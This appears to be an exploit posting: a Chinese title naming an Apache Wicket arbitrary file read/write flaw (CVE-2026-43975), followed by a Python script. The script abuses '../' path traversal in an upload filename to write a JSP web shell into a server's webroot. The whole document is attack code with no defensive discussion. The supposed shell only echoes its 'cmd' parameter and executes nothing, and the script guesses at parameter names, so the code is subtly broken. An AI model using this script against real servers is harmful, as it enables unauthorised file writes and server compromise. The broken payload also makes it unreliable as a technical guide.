CVE-2026-43975 Apache Wicket 任意文件读写漏洞

import requests # Exploit Title: Apache Wicket FolderUploadsFileManager Path Traversal (CVE-2026-43975) # Description: Uploads a file outside the intended directory by manipulating parameters. target_url = "http://vulnerable-host/wicket-upload-endpoint" # The vulnerability allows controlling the file path via unsanitized parameters. # Attackers can use '../' to traverse directories. files = { # Malicious filename attempting to write to webroot or temp directory 'file': ('../../../var/www/html/shell.jsp', b'<%@ page import="java.io.*" %><%=request.getParameter("cmd")%>', 'application/octet-stream') } # Vulnerable parameter names might vary based on implementation, # but 'uploadFieldId' or similar are mentioned in the advisory. data = { 'uploadFieldId': 'component_id', # Other form fields required by the application } try: response = requests.post(target_url, files=files, data=data) if response.status_code == 200: print("[+] Potential exploit successful. Check if file was written.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")